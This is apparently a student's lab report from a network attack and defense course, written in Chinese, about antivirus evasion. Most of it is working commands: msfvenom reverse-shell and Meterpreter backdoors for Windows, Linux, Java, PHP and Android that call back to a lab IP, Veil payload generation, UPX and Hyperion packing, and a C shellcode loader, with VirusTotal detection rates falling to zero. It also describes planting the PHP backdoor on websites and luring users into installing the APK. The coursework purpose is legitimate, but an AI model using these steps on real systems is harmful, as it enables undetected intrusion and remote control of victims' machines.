2019-2020-2 20175310奚晨妍《网络对抗技术》Exp3 免杀原理与实践

1 基础知识

基础知识部分参考免杀原理与实践指导

1.1 恶意软件检测机制

1.1.1 基于特征码的检测

  • 简单来说一段特征码就是一段或多段数据。如果一个可执行文件(或其他运行的库、脚本等)包含这样的数据则被认为是恶意代码。
  • AV软件厂商要做的就是尽量搜集最全的、最新的特征码库。所以杀毒软件的更新很重要。过时的特征码库就是没有用的库。

1.1.2 启发式恶意软件检测

启发式Heuristic,简单来说,就是根据些片面特征去推断。通常是因为缺乏精确判定依据。

  • 优点:
    • 以检测0-day恶意软件
    • 具有一定通用性
  • 缺点:
    • 实时监控系统行为,开销稍多
    • 没有基于特征码的精确度高

1.1.3 基于行为的恶意软件检测

最开始提出启发式时,一般也是针对特征扫描的而言的,指通用的、多特征的、非精确的扫描,

所以后来又提出了基于行为的。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

1.2 免杀技术(Evading AV)综述

总体技术有:

  • 改变特征码

    • 如果你手里只有EXE
      • 加壳:压缩壳 加密壳
    • 有shellcode(像Meterpreter)
      • 用encode进行编码
      • 基于payload重新编译生成可执行文件
    • 有源代码
      • 用其他语言进行重写再编译(veil-evasion)
  • 改变行为

    • 通讯方式
      • 尽量使用反弹式连接
      • 使用隧道技术
      • 加密通讯数据
    • 操作模式
      • 基于内存操作
      • 减少对系统的修改
      • 加入混淆作用的正常功能代码
  • 非常规方法

    • 使用一个有漏洞的应用当成后门,编写攻击代码集成到如MSF中。
    • 使用社工类攻击,诱骗目标关闭AV软件。
    • 纯手工打造一个恶意软件
  • 留后门的思路是这样的:

    • 你写一个有漏洞的软件,开一个服务端口。这个软件本身没问题。然后如果这个端口被攻击,就可以获得系统控制权。
      • 通过meterpreter这种驻留内存的payload,AV软件很难检出。
      • 这样的小漏洞程序大家也有做,自己攻击自己还是很容易的。
    • 当然最好的方法,还是手工打造,自己从头编一个,没有通用工具的特征,AV软件也就杀不出来了。
      • 从头打造当然是相当有难度的,但我们可以利用Metasploit已有的payload来半手工的打造,效果也不错

2 实验步骤

在实验二中已经生成了后门程序20175310_backdoor.exe,msfvenom直接生成meterpreter可执行文件,检出率为58/71,即71个扫描引擎中有58中把它识别为病毒。我们以此为参照,看经过免杀处理的应用在Virustotal上的识别率高了还是低了。

2.1 正确使用msf编码器

Step1:输入下面的代码,生成met-encoded.exe文件,并对后门程序进行编码(编码一次)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b '\x00' LHOST=192.168.187.132 LPORT=5310 -f exe > met-encoded.exe

文件生成截图:

将文件复制到Windows中,杀毒软件会提示该文件是木马文件:

Virustotal识别该文件,检出率为54/70,比没有编码前降低了一点,但这样文件还是能被查出

Step2:输入下面的代码,生成met-encoded10.exe文件,并对后门程序进行编码(编码十次)

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai  -b '\x00' -i 10 LHOST=192.168.187.132 LPORT=5310 -f exe > met-encoded.exe

文件生成截图:

将文件复制到Windows中,杀毒软件同样会提示该文件是木马文件,并删除。

手动恢复文件后,用Virustotal识别该文件,检出率为57/72,不降反升了,说明就算多编码几次免杀效果并不会提升,这个办法没用。

原因主要有两个:

  • AV厂商不傻,人家研究的是编码器本身,shikata_ga_nai总会有解码(decoder stub)部分需要加入的exe中,只要盯住这部分就可以了。
  • 还有模板:模板就是msfvenom用来生成最终Exe的那个壳子exe文件,msfvenom会以固定的模板生成exe,所有它生成的exe,如果使用默认参数或模板,也有一定的固定特征。曾经有一段时间,只要换了模板,就可以对所有AV免杀。现在这招不行了。所以一般来说AV厂商会针对其使用的模板来生成特征码,这样就一劳永逸地解决所有msfvenom生成的恶意代码了。那如果使用msfvenom免杀,就要使用原生的模板。

2.2 msfvenom生成如jar之类的其他文件

2.2.1 生成Linux下的后门

操作方法与Windows后门类似,输入下面的代码生成木马文件。

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_linux_backdoor

与windows系统唯一的区别是,在linux下生成的木马需要通过使用命令chmod +x 程序名赋予可执行的权限。执行时使用./程序名即可。

Linux下的后门在Virustotal中识别不出来:

2.2.2 生成Java后门程序

Java程序在windows下和在linux下都可以生效执行。使用下面的代码生成木马文件。

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_java_backdoor.jar

jar文件的检出率为35/61

2.2.3 生成PHP后门程序

使用下面的代码生成木马文件,把生成的php文件放到网站上面,当别人访问的时候就会执行。

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_php_backdoor.php

php文件的检出率为3/59

2.2.4 生成Android后门程序

使用下面的代码生成木马文件,此时的木马是apk安装包形式,诱导用户点击此安装包,就会执行。

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 x> 20175310_android_backdoor.apk

apk文件的检出率为25/60

2.3 veil

2.3.1 veil的安装过程及问题解决

输入sudo apt-get install veil安装veil,一般都会报错,根据提示输入sudo apt-get update进行更新,再输入sudo apt-get install veil重新安装。

安装成功后,输入veil,然后会弹出Python的安装界面。

点击next之后页面卡住了,过了好久就报错了,如下图,它说找不到WINE文件,提示运行/usr/share/veil/config/setup.sh --force --silent这句命令。

这里下载文件什么的如果用WiFi会特别慢,可以尝试切换到手机热点,下载速度会快很多。

之后试了几次,还是会爆错,上网查了之后,说要卸载veil然后重新安装一遍就行了。

输入sudo apt-get purge veil卸载veil,卸载成功后输入sudo apt-get install veil重新安装。

此时输入veil,弹出Python的安装界面,这时候点击next就不卡了。接下来几个页面选择默认值就可以,无需修改,然后等待安装即可。

之后会弹出pywin32-220pycrypto-2.6.1这两个安装界面,如下图,依旧默认值安装即可。

然后会弹出一个框,让你选择语言,这里选择英语。之后还会弹窗,需要安装RubyAutolt,都是比较简单的操作,这里就不放截图了。

在弹出上面这个框之前可能会遇到下图这个问题,简单来说就是connection broken,即网络连接断开。

解决方法是将网络切换回WiFi,这里用手机热点运行不了,切换之后就可以正常运行了。

这些安装都完成之后,输入veil之后再输入use evasion就可以进入免杀平台了。到此,veil安装成功了。

2.3.2 使用veil生成后门程序

Step1:输入use c/meterpreter/rev_tcp.py进入配置界面

Step2:输入set LHOST 192.168.187.132set LPORT 5310,分别设置反弹连接的IP地址和端口号。可以输入options查看设置后的结果

Step3:输入generate生成文件,根据提示输入文件名:20175310_veil_backdoor,然后就能看到文件的存放目录了。

Step4:把生成的文件放到Windows中,用Virustotal识别,检出率是44/71。

2.4 加壳工具

从技术上分壳分为:

  • 压缩壳
    • 减少应用体积,如ASPack,UPX
  • 加密壳
    • 版权保护,反跟踪。如ASProtect,Armadillo
  • 虚拟机
    • 通过类似编译手段,将应用指令转换为自己设计的指令集。如VMProtect, Themida

2.4.1 压缩壳UPX

输入upx 20175310_backdoor.exe -o 20175310_backdoor_upxed.exe

将文件复制到Windows后,杀毒软件立马查杀了该文件。

用Virustotal识别,检出率是55/70。

2.4.2 加密壳Hyperion

输入wine hyperion.exe -v 20175310_backdoor_upxed.exe 20175310_backdoor_upxed_Hyperion.exe对文件加上加密壳。

用Virustotal识别,检出率是48/72。

2.5 使用C + shellcode编程

Step1:使用命令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.187.132 LPORT=5310 -f c生成一段shellcode。

Step2:创建一个文件callshellcode.c,然后将unsigned char buf[]赋值到其中。

Step3:输入i686-w64-mingw32-g++ callshellcode.c -o 20175310.exe,将此文件编译为可执行文件。

Step4:用Virustotal识别,检出率是42/72。

2.6 使用其他课堂未介绍方法

Step1:输入veil之后再输入use evasion进入免杀平台:

从上图可以看到输入list可以查看可用的payloads,那么就输入list查看一下:

可以看到序号7是老师在指导书中使用的payload,用的是C语言,这边我准备用一个不一样的payload,用的是Python。

Step2:输入use python/meterpreter/rev_tcp.py进入配置页面,可以看到现在options还是默认值,因此我们需要设置某些options。

Step3:输入set LHOST 192.168.187.132set LPORT 5310,分别设置反弹连接的IP地址和端口号。可以输入options查看设置后的结果

Step4:输入generate生成文件,根据提示输入文件名:20175310_veil_backdoor

如果出现下图中的错误,输入sudo su获取管理员权限,然后重复Step2~Step4的步骤。

Step5:生成文件时,系统会问如何创建负载可执行文件?,我选的是2 Py2Exe,然后就能看到文件的存放目录了。

Step6:将runme.bat文件复制到Windows中,并用Virustotal识别,检出率是0/57。

用virscan扫描,检出率为0/49。

2.7 通过组合应用各种技术实现恶意代码免杀

在2.6中可以看到veil生成后门文件,使用Python语言就是能实现免杀功能,甚至检出率为0。

在刚刚runme.bat文件的基础上加压缩壳和加密壳,来实现免杀。

  • 电脑环境:Windows7
  • 杀毒软件:腾讯电脑管家
  • 杀软版本:13.5.20513.228
  • 查杀时间:2020.03.27

2.8 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  • 电脑环境:Windows7
  • 杀毒软件:腾讯电脑管家
  • 杀软版本:13.5.20513.228
  • 查杀时间:2020.03.27

3 实验中遇到的问题

3.1 编码时报错Error: An encoding exception occurred.

意思是发生编码异常。

解决方法:自己研究了一下这条命令,里面用到了四个参数:

  • -p:使用的payload,即有效载荷。
  • -e:使用的编码器,用于对shellcode变形,为了免杀。
  • -b:badchar是payload中需要去除的字符。
  • -f:生成文件的类型

由于报的错是编码错误,那么相关的参数也就是-e-b这两个。

分别删去这两个参数后运行,发现:

  • 删去-e参数,仍然报错,依旧是编码问题
  • 删去-b参数,无报错,生成了exe文件,如下图

那么就可以把问题锁定到-b参数上。仔细对比之后发现是-b参数后的‘\x00’用的是中文引号,正确的应该是'\x00' ,所以系统才会提示编码有误。

3.2 veil安装过程中的问题

解决方法:具体的问题和解决方法都在2.3.1中详细说明了。

3.3 加加密壳时,找不到/usr/share/veil-evasion/tools/hyperion目录

解决方法:参考这篇博客,具体操作如下:

  • 首先安装mingw-w64:apt-get install mingw-w64
  • 获取zip文件:下载链接
  • 解压缩文件:unzip Hyperion-2.2.zip
  • 将Makefile文件中第一行改为CC =i686-w64-mingw32-gcc
  • make
  • make结束后就能看到hyperion.exe文件了

4 问题回答

4.1 杀软是如何检测出恶意代码的?

用自己的语言描述的话,我认为可以分为以下两种:

  • 根据特征码检测:就是恶意代码都有一些特征数据,也就是特征码,这些特征数据存储在AV厂商的特征库中。如果一个文件被检测出他的某些特征数据是特征库中的特征数据,那么这个文件就被认为包含恶意代码。
  • 启发式检测:就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件。

4.2 免杀是做什么?

免杀就是让本身能被杀毒软件发现的恶意代码,通过一些手段加工后,使得它不能被发现。

4.3 免杀的基本方法有哪些?

从被检测的角度考虑,恶意代码会因为特征码或是行为被发现,那么免杀方法就有两大类:

  • 改变特征码:这次实验中操作的msf编码、veil、加壳、shellcode都属于改变特征码。
  • 改变行为:使用反弹连接、隧道技术、加密通讯数据等。

4.4 开启杀软能绝对防止电脑中恶意代码吗?

不能,从实验来看,如果通过一些方式改变了恶意代码中的特征码,那么恶意软件将不被杀毒软件发现,但这并不意味着该文件是安全的、没有病毒的。

5 实验体会

本次实验操作性较强,不是很难,但是过程比较复杂。我在安装veil的时候遇到了很多问题,花了很久的时间才解决。后面做免杀操作的时候,也要结合之前几次实验的内容。通过实验,我也发现了开启杀软并不能完全防止电脑中恶意代码,因此不能完全依靠杀软来维护电脑的安全。

6 参考资料

免杀原理与实践

后门原理与实践

2019-2020-2 20175215丁文韬《网络对抗技术》Exp3 免杀原理与实践

在Kali中使用mingw-w64编译Hyperion

posted @ 2020-03-27 22:29  20175310xcy  阅读(599)  评论(1编辑  收藏  举报